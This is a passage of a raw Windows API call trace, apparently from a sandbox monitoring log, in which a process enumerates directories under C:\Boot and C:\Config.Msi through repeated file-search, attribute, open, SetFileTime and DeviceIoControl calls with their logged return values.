ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0255.286] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.286] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0255.286] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.286] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.286] NtClose (Handle=0x14c) returned 0x0 [0255.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.286] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0255.287] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.287] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.287] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.287] GetLastError () returned 0x12 [0255.287] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0255.287] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0255.287] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.287] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.287] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.287] GetLastError () returned 0x12 [0255.287] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0255.287] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.287] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0255.287] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.287] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0255.287] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.345] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0255.346] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.346] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.346] NtClose (Handle=0x188) returned 0x0 [0255.346] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.346] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0255.346] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.346] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.346] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.346] GetLastError () returned 0x12 [0255.346] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0255.346] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.347] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.347] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.347] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.347] GetLastError () returned 0x12 [0255.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0255.347] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0255.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0255.347] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.347] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0255.347] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.347] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0255.347] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.348] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.348] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.348] NtClose (Handle=0x14c) returned 0x0 [0255.348] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.348] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0255.348] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.348] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.348] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.348] GetLastError () returned 0x12 [0255.348] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0255.348] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0255.348] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.348] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.348] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.348] GetLastError () returned 0x12 [0255.348] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0255.349] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.349] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0255.349] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.349] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0255.349] GetLastError () returned 0x12 [0255.349] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0255.349] FindClose (in: hFindFile=0x549000 | out: hFindFile=0x549000) returned 1 [0255.349] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0255.349] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0255.349] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0255.349] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0255.349] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0255.349] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.349] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0255.350] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x118f974, lpLastWriteTime=0x118f974) returned 0 [0255.350] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f9cc, lpOverlapped=0x0) returned 0 [0255.350] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.350] NtClose (Handle=0x184) returned 0x0 [0255.350] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0255.350] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x549000 [0255.350] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.350] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.350] GetLastError () returned 0x12 [0255.350] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548f40 [0255.350] FindClose (in: hFindFile=0x549000 | out: hFindFile=0x549000) returned 1 [0255.350] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.351] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.351] GetLastError () returned 0x12 [0255.351] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0255.351] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.351] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0255.351] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0255.351] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, 